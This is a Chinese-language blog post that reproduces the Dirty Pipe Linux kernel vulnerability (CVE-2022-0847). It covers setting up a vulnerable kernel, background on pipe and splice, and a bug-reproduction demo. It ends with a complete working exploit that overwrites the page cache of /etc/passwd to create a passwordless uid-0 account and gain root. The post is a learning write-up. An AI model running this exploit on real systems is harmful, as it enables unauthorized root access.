2023-01-16

dirty pipe(CVE-2022-0847)漏洞复现

复现一下 dirty pipe漏洞

漏洞简介

漏洞发现者 Max Kellermann 并不是专门从事漏洞挖掘工作的，而是在服务器中多次出现了文件错误的问题，用户下载的包含日志的gzip文件多次出现CRC校验位错误, 排查后发现CRC校验位总是被一段ZIP头覆盖。

根据作者介绍, 可以生成ZIP文件的只有主服务器的一个负责HTTP连接的服务，但是该服务并没有写 gzip 文件的权限。即主服务器同时存在一个 writer 进程与一个 splicer 进程, 两个进程以不同的用户身份运行, splicer进程并没有写入writer 进程目标文件的权限, 但存在 splicer 进程的数据写入文件的 bug 存在。

有兴趣可以看看漏洞发现者写的原文。作者竟然是从一个小小的软件bug一步一步深挖到了内核漏洞，实在是佩服作者的这种探索精神。

环境准备

这里我按照自己复现准备的一个真实状态来写。

首先是准备一个被漏洞影响的版本内核，这里我使用了 5.8.0-63-generic 版本。本来之前打算直接 Ubuntu20.04LTS 一了百了，但是发现它内核有自动更新，下过来就是最新的，漏洞已经被修复了。所以这里直接用这个讲讲换这个内核的版本。

首先 apt 寻找这个版本：

1	apt-cache search linux \| grep 5.8.0-63

然后我们在列表中寻一下

再用 apt 安装这个内核

1	sudo apt install linux-image-5.8.0-63-generic

安装完成之后， reboot 重启，开机界面按 shift+TAB 进入 ubuntu 引导界面，然后选择高级选项 advance，选择我们刚刚安装的那个内核进入启动。

成功替换指定的版本。

前置芝士

pipe

匿名管道，用于作为一个读写数据的通道，参数给一个长度为 2 的 int 数组，并通过这个数组返回，创建成功则返回对应的读写描述符，一端只能用于读，一端只能写。

#include<fcntl.h>
#include<stdio.h>

int main(){
    char buffer[10];
    int pipe_fd[2]={-1,-1};
    pipe(pipe_fd);
    write(pipe_fd[1],"AAAA",4);
    read(pipe_fd[0],buffer,4);
    write(1,buffer,4);
}
/*
AAAA
*/

Splice

splice用于在两个文件描述符之间移动数据，也是零拷贝。

函数原型是：

ssize_t splice(int fd_in, loff_t *off_in, int fd_out, loff_t *off_out, size_t len, unsigned int flags);

参数解释：

fd_in：输入文件描述符
fd_out：输出文件描述符
len：移动字节长度
flags：控制数据如何移动。

返回值：

>0：表示成功移动的字节数
==0：表示没有字节可以移动
<0：表示出现某些错误

#include<stdio.h>
#include<unistd.h>
#include<stdlib.h>
#include <sys/socket.h>  
#include <netinet/in.h>  
#include <arpa/inet.h>  
#include <assert.h>  
#include <errno.h>  
#include <string.h>  
#include <fcntl.h> 

int main(){
    int pipe_fd[2]={-1,-1};
    pipe(pipe_fd);
    write(pipe_fd[1],"AAAA",4);
    splice(pipe_fd[0],NULL,1,NULL,4,0);
}
/*
AAAA
*/

bug复现

做完上面两个前置芝士之后，应该能对 pipe 和 splice 稍微有点理解了，那么我们来复现一下 paper 上面说的 bug。把两个服务简化一下写出这两个程序：

创建一个 tmpfile，user 属主，权限 755。

//server1,user运行的服务，生成可执行文件为 p1
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
char file[]="./tmpfile";
int main(){
    int p[2]={-1,-1};
    int fd=open(file,O_WRONLY);
    int i=2000;
    while(i--){
        write(fd,"AAAAA",5);
    }
    printf("write over\n");
}

下面这个是要准备去写之前准备的那个文件了。

//server2,hacker运行的服务，生成可执行文件为p2
#include<stdio.h>
#include<fcntl.h>
#include<unistd.h>
#include<string.h>
char file[]="./tmpfile";
int main(){
    
    int p[2]={-1,-1};
    int fd=open(file,O_RDONLY);
    char buffer[4096];
    memset(buffer,0,4096);
    if(pipe(p))abort();
    int nbytes1,nbytes2;
    while(1){
        nbytes1=splice(fd,NULL,p[1],NULL,5,0);
        nbytes2=write(p[1],"BBBBB",5);
        read(p[0],buffer,10);
        if(nbytes1==0||nbytes2==0)break;
    }
    close(fd);
}

我们这么操作：

先使用 user 用户创建一个 tmpfile，运行 p1 文件。

在这个文件中我们写了 5000 个 A，并且权限归 user 所有，只有它有写的权限。

切换回 hacker 用户，运行 p2 文件，我们发现 tmpfile 中间居然出现了 BBBBB。

这就证明了这个漏洞的存在，这个漏洞的危害在于：只要文件可读，那我就可以写，这是非常危险的。

但是，我们不做任何操作，重启机器之后发现文件又变回了全 A 的状态。这说明，p2程序对tmpfile文件的修改仅存在于系统的页面缓存(page cache)中。

但是这个页面缓存在内核中，我们打开的文件会短暂停留在 page cache 当中，一段时间内我们打开的文件就相当于这个 page cache 的内容，所以我们更改了 page cache 其实也是可以达到修改文件的目的的。

exploit以及分析

这里我根据了我自己对这个漏洞的理解写了一个便于我们获取 root 权限的 exploit。

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
#define PIPE_SIZE PAGE_SIZE*16

void SetCanMerge(int fd[2]){
    char buf;
    pipe(fd);
    for(int i=0;i<PIPE_SIZE;i++){
        write(fd[1],"a",1);
        read(fd[0],&buf,1);
    }
}

int main(){
    int pipefd[2];
    SetCanMerge(pipefd);
    int fd=open("/etc/passwd",O_RDONLY);
    splice(fd,NULL,pipefd[1],NULL,1,0);    
    write(pipefd[1],"oots:",5);
    system("su roots");
}

一步一步分析一下它的 exp。

首先我用了一个 SetCanMerge 函数去填满 pipe，这一步的作用是走完一遍 pipe 的缓冲区。pipe 的缓冲区是以页为单位的，总共是 16 页的环形缓冲区。这一步就是去设置所有 page 的 Can Merge 属性。这个 Can Merge 标识了这个 pipe 能否被续写。

我们先来介绍一下续写的概念，续写就是说在我总共 16 页的缓冲区中，我写了一个字符，那么它会被存储在下标为 0 的页的首地址中，我第二次写的时候会写在哪里呢？两个选择，一个是紧跟着后面去写，第二个是在后一页去写，显然为了内存考虑我们大部分会选择紧跟着后面去写，因为总共 16 页，不可能我扔了 16 个字符进管道管道直接就满了。所以我们设置了一个 flags ，它们当中有一位就是标志了是否能在上面续写。

显然我一个一个往里面去丢字符，它肯定会把 16 个页都设置为可以续写，所以这一步就是把 pipe 缓冲区都设置为可续写。第二步我们打开了一个 /etc/passwd 文件，这个文件所有用户可读，只有 root 用户可写，我们以只读的方式打开它获得一个文件描述符，然后通过 splice 向管道中拷贝一个字节的内容。

这里的拷贝一个字节因为是零拷贝，所以它不是真正的拷贝，而是直接把缓存页给挂到了 pipe 缓冲区当中。然而此时 Can Merge 属性又存在，所以我们再往管道里写数据的时候，会因为 Can Merge 而直接写 Page Cache 绕过了权限检查。

于是我们向 /etc/passwd 的第二个字节起写上五个字节 oots:，这样的话 /etc/passwd 的第一行变成了 roots::...，原本第一行的内容为 root:x:...，中间的 x 表示此用户有密码，而我们把 x 取消掉了，那么我们生成了一个 uid 为 0 且没有密码的用户 roots，那么我们通过 su roots 就能直接切换到 root 权限。

内核源码分析

以后再写吧……

本文标题:dirty pipe(CVE-2022-0847)漏洞复现

文章作者:xia0ji233

发布时间:2023-01-16, 16:00:00

最后更新:2023-01-28, 15:12:07

原始链接:http://example.com/2023/01/16/CVE-2022-0847/

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